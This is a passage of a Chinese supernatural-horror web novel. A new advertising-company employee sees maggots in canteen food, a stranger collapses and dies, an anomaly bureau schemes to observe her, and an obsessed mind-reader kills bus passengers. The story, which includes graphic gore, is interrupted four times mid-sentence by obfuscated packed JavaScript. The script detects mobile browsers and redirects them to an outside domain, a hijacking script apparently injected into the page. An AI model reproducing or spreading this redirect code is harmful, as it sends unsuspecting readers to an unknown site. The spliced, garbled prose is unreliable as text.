岑尤尤淡淡道:“男的一样恋爱脑。” 秦家鸣嘿嘿一笑说:“那叫舔狗。” 岑尤尤:“……” 两人说话间,包朝芸手机响起。她面色难看地接起来,电话那一头不知道说了些什么,她的眼眶越来越红,额头青筋冒起,对着手机大骂道:“王八蛋,你去死啊。” 电话挂断,她紧绷的那一根弦也“啪”一声断掉,情绪彻底失控。双手捶打键盘,伏案大哭起来。 哀号之凄厉,令办公室人人侧目,甚至引来其他部门的人堵门围观。 1组的员工陆陆续续到来,没一个人敢上前。张主管不好再在办公室里装作不知道外面的情形,只能走出来,她看向岑尤尤。 秦家鸣看向岑尤尤。 渐渐地所有人都看向岑尤尤。 岑尤尤从桌上抽出一张纸巾,走向包朝芸,随手拉来一把椅子在她身旁坐下来。这才拍拍她的肩膀,喊道:“芸姐,擦一擦眼泪吧。” 包朝芸抬起头来,面容无比狰狞,看到她神情的人都下意识退后一步,人类趋利避害的直觉在此刻决心。 极致的愤怒终于找到一个突破口,包朝芸如胀大到极致的气球就要炸开。那鼓胀的眼球似乎快从眼眶里挤出来,桌上的水杯、盆栽、键盘都可以在下一秒化身伤人的凶器。 这时,站在危险中心的岑尤尤拉起包朝芸的手,在她紧紧攥起的拳头上拍了拍。眼见她松开手,便把纸巾塞进她的手心里。 下一秒就要炸的气球像是打结的地方松动,持续而快速的漏气。 “谢谢……” 包朝芸声音沙哑,脸上异样红/潮慢慢褪去。脑子充血到难以思考的感觉消失,想要破坏一切的冲动和疯狂不见之后,她开始后怕,刚才差一点做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492468|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出不可挽回的事情。 “能……能……你你你……你能陪我去一趟休息室吗?” 包朝芸在发抖,声音和她整个人一样颤动得厉害。 岑尤尤点头,询问道:“需要我扶你一把吗?” 包朝芸伸出手,岑尤尤架住她。 围观者自发让出一条路,第一天到23楼的岑尤尤在秦家鸣的帮助下找到休息室,里面没有人。 包朝芸坐下,大怒之后身体虚脱像一摊烂泥一样靠着椅背,如同急病袭来,不过行走几步便大口大口喘息,眼泪根本止不住。 岑尤尤接来一杯温水,她喝下之后慢慢平复下来。又过去好几分钟,才能正常说话。 这期间,岑尤尤一直在研究隔壁茶水间的各种茶包。她不爱喝茶,也不喝咖啡,这些都是苦的有什么好喝的。最多能接受茶煮奶,也就是奶茶。 “我现在的男朋友和公司有业务来往的一个老板,我为和他在一起违反公司制度,失去升职的机会。没想到交往半年,被对方老婆找上门来……他竟然已经结婚了。” 对方扬言要到公司来闹,让她在海市待不下去。 包朝芸牙齿都快咬碎了。 这几天情绪一直不对劲,一点就爆。 岑尤尤问:“你有被小三的证据吗?” 包朝芸发泄一场,情绪已经重新稳定下来。条理分明的应对计划很快一条条冒出来,她都奇怪自己之前为什么尽折腾自己。 “有啊!王八蛋一直对外称自己未婚是黄金单身汉。骗到老娘头上,看老娘不弄死他。” 岑尤尤听她这么说,知道没自己的事了。 “那就好,包姐我先出去了。你最好洗把脸。” 包朝芸不明所以,抬起头看向镜子。她知道为什么了。 眼妆是防水的,但粉底可不防水。 这模样可真狼狈,包朝芸的心情却挺好:“行,你出去等我吧。” 十分钟后,她收拾好自己,重新走进办公室。看到岑尤尤,心情更好了。脸上露出笑容,对她招手:“来,尤尤。你以后坐我旁边。那个位置一天里有半天的时间顶着太阳晒,天气不好雨点子能刮你一脸。我们离得近一些,方便我手把手教你。” 岑尤尤走过来,包朝芸旁边的工位堆满私人物品,她问道:“这里没人吗?” 包朝芸理所当然道:“有人。糙汉子一个,让他和你换。” 一旁竖起耳朵听八卦的秦家鸣:“……” 包朝芸打开电脑,放慢工作的进度,就如她刚才说的那样,认真仔细又无比耐心地教导起岑尤尤。 “家鸣,复印文件。” “家鸣,帮我点杯咖啡。” “我也要,我也要。” 满办公室乱窜的秦家鸣担任着打杂的工作,他的师父蹲在他旁边的工位上,正叼着一根烟,埋头思索广告方案。 是的,他师父就是被包朝芸嫌弃的糙汉子。 反观人家……包朝芸柔声细语对徒弟说:“大致就是这样。你先试着做一下,有不懂的尽管问我。记着!坐一阵起来活动一下,免得以后腰疼得颈椎病。” 秦家鸣上班三天,从没听到过暴躁芸用这种语气跟任何一个人说过话,对男朋友撒娇也不过如此了罢。 为什么呀? 秦家鸣羡慕不已,嘀咕道:“早知道我就主动去送纸巾了……” 18.死亡 忙碌半个上午,岑尤尤从工位上站起来,放松背脊。 举目望去,目光能到达的每张桌子上都摆放着人偶。每一个都是十几厘米高,极为精致,有好些不同的形态,相同的特点是栩栩如生。 方总监桌上摆的是一个背部佝偻的老奶奶,男同事的桌上摆放的大多是美女人偶,有些还不止摆了一个。 包朝芸的桌上摆的是一个制服帅哥,袒露胸腹肌肉的那种,每一处都做得特别细致,更有趣的是人偶身上的衣物可以穿脱。让岑尤尤产生一种它们的关节可以活动,眼珠可以转动的错觉。 “喜欢吗?” 包朝芸从工作中的漩涡里暂时挣脱出来,见岑尤尤盯着人偶看。她站起来,取下窗边挂着钥匙串,打开靠着门的文件柜。从里面抱出一个小箱子,放在椅子上。 箱子里都是人偶,足有半箱。 岑尤尤点点头说:“喜欢。这些是哪来的?” “前不久,公司接到一个‘人生百态’的单子。按照甲方要求,大家一起设计制作出一百个拟真人偶,忙得脚不沾地……这些都是工厂送来的样品,数量多到库房里堆不下,销毁又太可惜。总经理就让大家拿出来摆着玩,也算是员工福利。不过,成品正在批量生产当中,还没有投放市场,样品不准流通出去。” “公司和甲方签过保密协议,大家只能放在公司摆一下,不能带回家。更不能送人、买卖和交易,否则要负法律责任。可惜这里面都是挑剩的,不过我听说正式上架的话,每一个价值都超过两百元。你有喜欢的尽管拿,不用客气。” 岑尤尤拿出一个老大爷人偶,人偶的一条腿摔破了。 本来就不算讨喜的人偶再加上有瑕疵,难怪会被剩下了。其他的人偶也大多如此,各有各的缺点。 岑尤尤一时没有找到合眼缘的,把手伸进盒子里摸索。忽然,她指腹传递回特殊的触感。 刚刚碰到的人偶和别的人偶使用的材质似乎很不一样,取出来一看,包朝芸“咦”一声说:“这些牲口居然没把它翻出来。尤尤,你捡到漏了。” 岑尤尤取出的人偶和包朝芸桌上摆的是同款,但更加精细。简直就像一个缩小版的大活人,真实度自然更胜一筹。 岑尤尤说:“它摸起来和人类的皮肤差不多。” “因为它是高定版本,高定人偶只有十多件样品,大多都被总经理亲自收藏。没想到还有遗落的,你运气真好。” 包朝芸等着岑尤尤把人偶放在桌上,才拎起桌下的单肩包说:“我要出去一趟,你自己到食堂吃饭。要是手续还没办好,园区里餐厅也有不少。” 岑尤尤说:“手续都办好了。” 她早餐只吃了一小块芝士蛋糕,早就饿了。 两人在门口分别,岑尤尤来到22楼。前台依旧只有张小莹一人,她和对方打过招呼便走进食堂。 这会还早,食堂没什么人。 岑尤尤在面部识别机器前站定,感应闸门打开。食堂用餐也不是费用全免的,不过公司会给一部分补贴,员工需要自己支付的部分就很少了。 当然,若员工不在公司食堂用餐,公司也不会另给餐补。 岑尤尤是第一次进来,她拿起黑色的方形托盘,走到玻璃柜前。 食堂的员工都戴着双层口罩、雪白的帽子,菜用陶瓷小碗装着,要吃什么说一声,里面的员工会拿出来帮你放到托盘里。 公司员工多,食堂必定是大锅菜出餐。岑尤尤却觉得红烧肉看起来肥瘦均匀,色泽红亮,非常不错,瓦块鱼炸得金黄,勾汁酸香,一看就好吃。白灼的鱿鱼一看就新鲜,料汁里有小米辣。她是能吃一点点的辣的,不过难以降服麻辣火锅。 那美贝煮的海带汤看起来也很鲜,这一阵儿正是本港贝类肥的时候,属于是当季美食,不能错过。 快要走到底的时候,岑尤尤的餐盘上已经没有可以放陶瓷小碗的位置了。 一位食堂阿姨招呼她:“要不要来一份烧椒茄子,里面有皮蛋。” 岑尤尤低头一看,阿姨指的那道菜就放在米饭桶的旁边。她知道这道菜,心中对其卖相有所预料。虎皮状微微发黑的辣椒和皮蛋一起捣碎,再加入调料搅拌均匀,铺在蒸好撕成条的茄子上。 这样做出来的菜能好看吗?不过,这道菜很好吃,贼下饭。 然而,她还是微微皱起眉头。食堂出品的烧椒茄子大大出乎意料,竟能让人觉得恶心。 底下的茄肉新鲜,可烧椒酱黏黏糊糊,如同碎肉一般的黑色颗粒在调料汁液中蠕动,像是一只只变种的蛆虫。 “这是什么?” 岑尤尤指着还在蠕动的黑色颗粒问。 食堂阿姨的视力不太好,凑近一些看清楚之后,才说道:“这些是烧熟的辣椒,不是脏东西。小姑娘,你放心,咱们员工食堂不比外面的零摊散户,只做一锤子买卖。领导们对员工入口的东西很重视,他们自己也要到食堂用餐不是?卫生和食品安全这两项,你完全不用担心。” 岑尤尤点点头,但谢绝阿姨的推荐。 她最烦看到食物里有异象,大多数时候她可以对幻觉视而不见,并告诉自己一切都是假的。虚幻和现实她从没混淆过,但心里知道是幻觉她的胃口一样会被恶心的东西影响。 “我不爱吃黏糊的菜。” “行吧,”阿姨接受她的理由,问道:“你要米饭还是粉?” “请给我一份米饭。” 岑尤尤端着托盘来到偏僻的一角,吃到一半食堂变得热闹起来。 “美女,请问这里有人吗?” 两个男同事在岑尤尤身边停下来,其中一人开口询问她。 “没有。” 两人听到她的话,先后在对面的空位落座。其中一人并不吃饭,而是笑着问道:“美女,我看你有些眼生。你哪个部门的?” 岑尤尤头都不抬,说道:“我是创意部的。” “我听说创意部有新聘员工,你是刚进公司吗?” “嗯。” “美女,你叫什么名字。” 岑尤尤没说话。 那人锲而不舍追问道:“名字不肯说,今年多少岁总可以告诉我吧。” 岑尤尤吃饭的速度变慢,对方拍着胸脯道:“我进公司好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497952|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,对上上下下的事务都很了解……” “闭嘴吧你。” 他身边的同事说着,伸手在他的背上狠狠一拍,拍得他连声咳嗽起来,刚才要说的话直接被打断了。 这人站起来,吼道:“你干嘛啊?” 他同事说:“你没见到人家根本不想搭理你吗?你打扰到人家吃饭了。” 岑尤尤放下筷子,抬头看向两人。这才看清楚两人的长相,其中一个长相略有些猥琐,也是他非拉着同事坐在岑尤尤的对面。 另一个五官端正,眼神清明,搁学校里也能算个班草,要是放在公司里的话就是大帅哥了。职场满地牛马,他清清爽爽的像个人。 岑尤尤站起来,准备离开。 帅哥连忙说:“美女,你不用走,我马上拎他走。他之前发烧把脑袋烧糊涂了!以前从不这样,绝没有胆量骚扰女同事。我替他向你道歉,你先来的,你坐、你坐。饭还没吃完呢。” 岑尤尤还是要走,她并不是一个喜欢浪费粮食的人,可吃是没办法吃了。 “饭里全是他的口水。” 帅哥特别尴尬,连忙说:“你想吃什么,我现在去给你重新拿。” 岑尤尤对这人也没什么好感,饭搭子肯定臭味相投,冷冷地道:“不用了。” 她走出食堂。 帅哥一把扯着同事坐下来,“还没看够?” 他伸手去摸同事的额头,嘀咕道:“是不是还没退烧?” “方奋,你让开。” 同事推开他,痴痴地看着门口,直到彻底看不见岑尤尤的身影。这才低下头,看向桌上的剩菜剩饭,然后,他做出一个让方奋惊掉下巴的举动。 他伸手拿过岑尤尤吃下一半的米饭,塞进嘴里。眯起眼睛品味起来,犹嫌不够,像一条狗似的捧起岑尤尤丢在餐盘里的勺子,放在鼻子底下闻嗅。 方奋嘴角抽搐,扯着同事的领子把他拎起来,然后对着他的脸就是一拳。 “变态啊你……” …… 岑尤尤没有吃饱,走到自助贩卖机前,扫码购买一瓶草莓味的牛奶果腹。撕开吸管的包装袋,她走进步梯通道里寻找垃圾桶。 一半明一半暗的楼梯中间坐着一个男人,两根手指夹着一根烟却没有点燃。他身体靠在墙上,黑色的头发里夹杂着数片绿油油的叶子,簇拥着一朵彩色的玫瑰花。 岑尤尤第一次见到如此美的花,脱口而出:“真漂亮。” 发呆的男人抬起头,看到岑尤尤的瞬间空茫的眼睛里重新焕发神采。他扯出一个笑容,问道:“喜欢的话,我送给你。” 这是一个陌生人,再喜欢美丽花她也不会要的。 “不用了。” 可是男人已经伸手从根部折断花枝,将独一朵的彩色玫瑰连枝带叶递给她。 岑尤尤微微蹙眉,转身就走。 男人急得站起来,追逐好四五步,骤然停下来。他一只手捂着胸口,豆大的汗珠从额角渗出来,接着仰面倒地,失去呼吸。 至死,那朵玫瑰都被他护在胸口,没有受到半点损伤。 他死了。 19.八卦 岑尤尤走进1组办公室,闻到一股淡淡的饭菜香味。 办公室里只有靠窗户的格子间有人,正是秦家鸣。他埋头吃东西,听到脚步声抬起头来,对岑尤尤打招呼。 “嗨,吃好了?” 对方先来公司几天,没道理还未办好各项手续。 “嗯,”岑尤尤点点头,随口问道:“你怎么不去食堂吃饭?” 秦家鸣给她展示小小的便当盒子,里面装着简单的饭菜,已经吃掉一大半了。口中说道:“我自小就对很多食物过敏,不敢在外面吃饭。小厮的命少爷的身子,为了小命着想,只能每天带饭。可惜,占不到公司餐补的便宜。” 两人说话间,外面响起喧闹的声音。 秦家鸣捧着微波饭盒冲出去,半个小时后,才拎着洗干净的饭盒回到办公室,对岑尤尤说:“出事了!” 岑尤尤打着哈欠,不太感兴趣地问:“出什么事了?” “有人猝死,听说是从22楼抬下去的。那大概率是我们公司的员工,被发现的时候身体硬邦邦透心凉,不知道还有没有救。” 秦家鸣双手抱着胳膊打了一个寒战,说道:“昨天8幢有人跳楼,今天又有人猝死。我的天,园区的风水是不是有问题。等休假的时候,我得去拜拜才行。” “8幢?” 岑尤尤抬起头来,见她终于有正常的反应,秦家鸣大感欣慰。 若非办公室里仅有岑尤尤一人,他绝对会选择别的同事聊八卦……这位关系户言行举止很像一个普通的大学生,但始终有一种游离世界之外的冷漠。 现代社会,大家多多少少有点小毛病,完全正常的人才是凤毛麟角,但底色是“自我”的那一类人,往往是话题终结者,八卦爱好者的死敌。 他觉得岑尤尤就足够自我。 “那家公司超级倒霉,遇上员工跳楼,警/方介入调查把现场封掉,业务通通暂停。本来就是一个摇摇欲坠眼见快要完蛋的小公司,屋漏偏逢连夜雨,听说直接垮掉了……” “哦,知道了。” 岑尤尤心想,垮掉的肯定不是她昨天应聘过的那家公司。 谁家公司快完蛋还招聘新人,而且那家公司的员工看起来都是精英,公司的规模虽然比不过福盈广告,但未必发展得就比福盈广告差。 没准人家小而精悍,走的是高端路线呢? 不过,岑尤尤已经打定主意。若接到那家公司的电话,直接用委婉的语句坚定拒绝。 她和那家公司的气场不符,还是更喜欢现在的公司。 当然,她觉得那家公司不再来电的概率更大,和她握手的时候公司的面试人员犯病。若是觉得她带霉运,她也只能小声喊一声冤了。 午休结束,包朝芸没有回来。 岑尤尤做完包朝芸上午给的活儿,还有一些不明白的地方需要请教。 整个办公室和她说过话的人只有秦家鸣和他的糙汉子师父,秦家鸣已经学会整间办公室的机器怎么操作,也帮每一位前辈点过外卖,但他回答不了岑尤尤的问题,只得呼唤救援。 “曾哥……” 秦家鸣走到师父身边,把师父从电脑屏幕里捞出来。 “什么事?” 这位曾哥是真的糙,而且一脸呆相。似乎太过沉迷工作,已经无法自拔。 秦家鸣说:“小岑想请教一下你……” “我一大堆活儿根本忙不完,又不懂的等办公室的人都回来,我抽出空再说。一边玩儿去……” 曾哥说着,酸胀的眼睛看清站在面前的岑尤尤,心中的烦躁顿时一扫而空,钝钝作痛的脑袋变得清明起来。他话音一转,说道:“哪里不懂啊?” 秦家鸣看到曾哥主动站起来,走到岑尤尤电脑前,心中讶异。 这位哥在上班时间屁股一直是死死黏着凳子的,从不摸鱼一直忙碌到下班的时间,跟设定好程序的机器人似的。 秦家鸣的示好一概被算作打扰,次数太多曾哥甚至会直接无视他。 关系户就是不一样…… 秦家鸣承认自己有亿点点嫉妒,等曾哥回到自己的位置上,又沉浸到人机模式。他忍不住凑到岑尤尤身边,说道:“你有没有觉得这家公司的员工都怪怪的?” 岑尤尤摇头,“没觉得。” “那公司的颓势你总该有感觉吧。又是流感肆虐,又是员工猝死。我看啊,这家公司吃枣药丸。” 岑尤尤眉头皱起,抬起头来无比认真地说道:“这可是我找到的第一份工作,公司一定生意兴隆绝不会倒闭的。” “开个玩笑而已,”秦家鸣耸耸肩说:“希望如此,我也不想匆匆再找新工作。” 心中却在想,你以为你是神仙吗? 你说要有光,世界就有光。 你说公司不会倒闭,公司就能红红火火? 同市相距数公里的异常管理局内,苏飞鸣讶异道:“我的天啊!咱们异常管理局的生意越来越红火了!瞧瞧,又有新事件出现。” 韩序看向声音传来的角落,那里自然空无一人。 “你怎么忽然诈尸了?” “喂喂喂,你是假的队长吧。我家队长说话才不像你一样刻薄。怪物,快把我的队长吐出来。” “你‘社会性死亡’的结论已经深入我心。抱歉,一时大意说出真话了。” “谁啊,这么刻薄。我可是‘隐身’,不怕我暗中使坏吗?” 韩序说:“想要暗中报复,你得先找到她才行。” “行,寻找‘读心者’的任务交给我了。” 隐身对上读心,简直是盾牌对上匕首,卤水点豆腐,一物降一物。 韩序翻开手中的档案,说道:“看来你死亡期间意识仍留在人间,没有忘记局里还有一大堆事情等着副队长解决,我很欣慰,能帮我把庙易香喊过来吗?” “愿意为你效劳,队长。” “看来你是真的度过尴尬的时期,可以坦然面对同事了。” “那倒也没有,我只是已经做好永远不在异常管理局现身的准备了。只要没人看得见我,我就永远不会尴尬。” 庙易香三步并作两步走进韩序的办公室,问道:“什么事?” 读心者异化为污染源之事,她需要写一份详尽的报告,但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505566|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对岑尤尤的内心世界一无所知,用尽全部的想象力依旧无法理解万澜到底曾受到什么样的冲击,故而报告越写越显荒谬。 一名重要异能者的损失,没有得到任何的回报。 庙易香知道自己必定得为此事负责,心情实在不佳。 韩序将桌上的文件轻轻一推,文件滑向对面,正好停在庙易香面前。她拿起来一看,H143污染事件,里面仅有一份验尸报告。 “30岁成年男性,颅内无组织,颅骨无创伤且皮肤完好无创伤……大脑消失,怀中有一朵彩色玫瑰花。” 庙易香是精神领域的专家,一看就知道男人不仅属于非自然死亡之类,还很有可能是一名深度污染者。 “你知道的,”庙易香说:“我只负责Q35,别的事件不归我管。” 韩序说:“此人是福盈广告公司的员工。” 庙易香一愣:“福盈……Q35刚入职的那家广告公司?这么巧!怎么她走到哪里,哪里就有异常事件发生,如同行走的天灾。” 韩序不太赞同,说道:“近年来污染事件频发,对普通人隐瞒精神怪物的存在已经越来越困难。这事顶多算个巧合吧。” 庙易香是做研究的,她对时局的变化并不敏感,也不太感兴趣。 “我要去福盈广告……” 韩序站起来:“你要直接接触岑尤尤?” 如果庙易香只是去广告公司近距离观察岑尤尤,不需要特地告诉他。 “是的,我要去福盈广告上班。跟踪观察无法真正弄清楚Q35身上的异常之处,或许之前的四年我都是在浪费时间。廖远调给我用一段时间,我会好好的把他送还到你的手上。” 庙易香似乎已有计划,有读心者万澜出事在前,韩序觉得她有些激进,但针对Q35的一切行动都由庙易香决定,她是最高负责人。 韩序只能听从命令,他提醒道:“岑尤尤是见过你们俩的,你们要如何解释自己出现在福盈广告呢?” “解释不了正好,”庙易香说:“Q35一直不相信超自然事件的存在,显然是冲击不够。若要逼迫她睁开眼睛看到的世界,就得让逻辑崩坏在她面前……” 韩序微微蹙眉,庙易香不仅激进,似乎还有一点点偏激。 庙易香离开办公室,前去安排一切。她需要找人施压,安排她和廖远空降广告公司,事情要尽快办成。 最好明天就能上班,只是职位还需好好考虑一下。 随着她的背影消失,韩序刚刚冒出来的念头也消失不见。 “队长……” 有人敲门进来,报告又有新的污染事件出现。 今年爆发的污染事件是去年的五倍,异常事件管理局已出现人手不足的窘境。 韩序将岑尤尤的事抛到脑后,倾听下属的报告。 “北部区三湾街一个国际旅行团在酒店全员失踪,包括导游在内……” “导游是浙市人,独自住一间房。我们在他的房间里找到4条左臂,5条右臂,两颗血肉模糊的头颅,2条左腿和3条右腿。DNA已经验过,这些肢体全都属于导游本人……” 20.鳝鱼 “欢迎乘坐本班公交……” 岑尤尤登上公交车,公交车司机主动和她打招呼。声音有点耳熟,好像在哪里听到过,她刷卡的时候特地仔细观察司机小姐,但对方包得太严实,看不到面貌。 可以确定的是她和司机小姐很有缘分,两天都赶上同一班车。 海市的盛夏太阳炙烤,注重防晒是年轻男女的共识。 这样的打扮不奇怪,她礼貌地回应道:“你好。” 车内只有司机小姐身后的座位是空着的,又是一个巧合,她昨天早上坐的也是同一个位置。 这一次,岑尤尤留意起公交车的行进路线,发现到达下一个站点巴士没有停靠,便出声询问司机小姐。 司机小姐说:“咱们这儿没有市内的轨道交通,7路是市里最重要的一条载客线路,运营的压力很大。考虑到运转速度太慢的问题,有一批车辆减少了停靠的站点,下一站是园区。” 岑尤尤恍然大悟:“这辆车就是其中之一。那怎么区分呢?” 司机小姐抬手指向巴士前窗玻璃,说道:“你想速度快一些,乘坐红色7路标识的车辆就好了。如果你常常这个时间出门,我们就能一直遇见。” 两人闲聊起来,在岑尤尤感觉聊天内容有些无趣,渐渐陷入陌生人尬聊的境地时,司机小姐及时掐断话头,专心看着前方的道路。 很快,园区到了。 岑尤尤从后门下车。 她下车之后,一个挺着大肚腩的乘客走向驾驶座。 7路公交车停靠在路边,司机小姐和乘客交换位置。她站起来,一把扯下脸上的口罩,露出一张满是疤痕的可爱脸庞,正是昔日的读心者万澜。 交错的伤疤和可爱的样貌形成强烈的对比,让她颇具乖张之气,但只要对上她的眼睛,纯粹的疯狂就如排山倒海般袭来,可以轻易感染任何一个人。 “这么努力才换来区区十几分钟的相处时间,我真是笑死。” 她踮起脚尖,摇摇摆摆晃动着手臂,像是行走在钢索上的小丑,疯癫从每一个动作里表现出来。 “太过分了。是不是?” 她看向身旁正在和家人通话的乘客,乘客放下根本没有接通的手机,双手捂着脖子,嘴巴大大张开,在空气里溺水而亡。淅淅沥沥的水从他□□里溢出来,尿骚味充斥车厢。 万澜念头一动,乘客们齐刷刷停下正在做的事情,伸手打开车窗。 她继续向车子后面走,嘴里呢喃道:“到底怎么杀人才能不弄脏车子呢?” “笑死,刚刚分开,对你思念就要把我折磨疯了……” “尤尤,我的主,我的唯一……” 她蹲在垃圾桶旁边,伸手翻出被捏成一团的锡箔包装纸。 这是岑尤尤下车的时候丢掉的,她珍惜的放进防晒衣的口袋里,收藏品增加让心里变得美丽很多,她坐到还尚有余温的位置上,想象和尤尤亲密相拥,双颊浮现出一团羞涩的红晕,浑身颤抖着,结结巴巴说:“我的主,你你……你想要依照正常人的生活轨迹过好每一天……你忠诚的下属贯彻您的意志……” 她说到激动之处,伸手抓烂身后乘客的头颅,如同毒蛇喷吐嫉妒的毒液,她高声尖叫:“笑死,我都只能以合理的方式出现,与我的主短暂相处,你们为什么如此好运,可以和我享受一样的待遇……喂!尤尤刚才是不是看你了。” 已经倒下的乘客咧开嘴,脸上浮现出和万澜一样的癫狂,嘴唇翕动着,细碎的声音混合着红红白白之物一起流出来。 “尤尤尤尤尤尤……” “尤尤尤尤尤尤尤尤……” …… 岑尤尤走进电梯。 她今天到得比较早,电梯里只有两个人,而且都是熟人。 前天在8栋那家公司面试时见到的人事小姐庙易香,还有那家公司的总监先生,她先是微微一愣,接着大方地打招呼:“庙姐,早上好。” 庙易香对她点点头,态度冷淡。 两天不见,对方没道理把自己忘记得一干二净,那就是不想交流了。岑尤尤心里庆幸自己已经找到新工作,不用考虑要不要去和自己气场不符的公司上班。 当然,人家似乎也早已放弃聘用她的想法。 岑尤尤本来想问候一下组长小姐,现在也放弃了。 令她惊讶的是二人和她在同一楼层下电梯,岑尤尤目不斜视走进餐厅,回头时看到两人先后走进人事部,并将办公室的门关上了。 嘶,难道两人是来福盈面试的? 他们要跳槽?! 一大早吃到瓜的岑尤尤拿起餐盘,踱步来到橱窗前。橱窗里站着好一名头戴厨师帽的工作人员,一口大锅里热水翻腾,白烟袅袅,旁边的托盘里摆着各种面、粉,供十多样,浇头也有好几锅。 岑尤尤爱吃粉,要了一小碗。 这位厨师四十多岁,面有病色。这在公司里不稀奇,全公司至少有一半的员工看起来都是一副大病初愈,身体不大好的样子。 “你要什么浇头?” 厨师先是询问她,接着又添上一句:“什锦海鲜的最清淡,要是不能吃辣的话,最好别放爆炒鳝鱼。” 即使他不说,岑尤尤也不会要鳝鱼的浇头。 一看就红红火火的颜色不是让她望而却步的主要原因,实在是鳝鱼里密密麻麻蠕动的黑色颗粒让人倒足胃口,她指着第一锅说:“海鲜,谢谢。” 厨师先生用大勺给她浇上满满一勺子的什锦海鲜,虾贝堆成一座小山。岑尤尤接过来的时候小心翼翼,害怕小山崩塌,海鲜从碗里掉出来。 “你是新来的吧?” 岑尤尤点头。 厨师先生说:“我姓赵,打从福盈创立开始,一直在咱们公司给大伙做饭,到现在为止,算一算也有七年了。可能是时间太久,大伙早把我的手艺吃腻了。前段时间经理让大伙提对食堂的意见,好多人都说我做的菜不好吃。这让我非常伤心……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516657|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他抬起头,眼睛上翻露出眼白,看着岑尤尤问道:“小姑娘,你觉得我做的菜好吃吗?” 岑尤尤没有回答,反问道:“食堂有几位厨师?” 赵师傅一愣,说道:“正经的厨师有三个。” 岑尤尤说道:“我只在食堂吃过两顿饭,不知道哪道菜是你做的,无法评判。”她端起托盘说:“我先去吃饭了。再见。” 赵师傅喊住她,“这碗什锦海鲜面都是我的手艺。” 岑尤尤说:“那我吃完再告诉你答案。” 这一碗粉很鲜美和外面的粉摊不相上下,她将碗放到回收区域,见赵师傅还站在面档前,走过去说:“海鲜面味道很好,但要是能配一碟酱料就好了。我喜欢黄灯笼酱,不太辣的那种。不过,我不是美食评论家,仅代表我个人的想法。而且,我也不能确定自己未来会不会像其他人一样,吃腻你的手艺。” 她眼见余光看到庙易香两人的身影,加快语调说:“你有些太过焦虑了!” 岑尤尤看出赵师傅心理有问题,她是久病成医,劝道:“我觉得千人千面,口味也不尽相同。赵师傅,你想每个人都喜欢你的手艺,是根本不可能的事情。” 岑尤尤只是认真回答对方的问题,没想到对方像是受到很大的触动一样,拿着勺的手都在抖。 “你没事吧?” 赵师傅喃喃自语:“原来,真正让我困扰的不是否定,而是大伙的忽视……我明明已经很努力很用心的做好每一顿饭,却总不能令人满意,我询问每一个人……人人都敷衍我说‘好吃’,食客不愿意停下来听一个厨师说一句话,好像一日三餐只是一件小事……” “好开心啊……” “有人认真听我说话,解答我的疑惑……” 对方的声音越来越小,岑尤尤早已听不清他在说什么。 正好庙易香二人已来到面档前面,岑尤尤让开位置,走到一旁去拿牛奶。鲜牛奶有盒装的,想喝冰镇的得用杯子从果汁桶里取,果汁桶旁边是切好的水果。她拿起一瓶牛奶,插上吸管喝光,将盒子丢进垃圾桶,这才往外面走。 路过庙易香两人面前,看到两人正在吃面。料没有岑尤尤的那一碗足,但又红又亮一看就辣得非比寻常。 两碗火爆鳝鱼面。 庙易香饱满的嘴唇被辣意刺激得通红一片,额头也沁出汗水。她时不时小声咳嗽,拿起纸巾上擦拭手指上溅到的辣油。 洁白的纸巾被染红,像是沾到浓/稠的鲜血。 两人似乎没有发现岑尤尤的存在,专心致志用餐,吃得停不下来。 红色的油汤里,一只只黑色的蛆虫摆动着身体,随着筷子的搅动浮浮沉沉,不明真相的人乍一眼,还以为那是黑芝麻。 岑尤尤却是看得清清楚楚,芝麻的嘴巴正在一张一合。 庙易香沾有口红的贝齿碰撞,将一只蛆虫咬破,舌头卷起满是黏液的尸/体吞进腹中。她发出一声满足地喟叹:“真好吃啊……”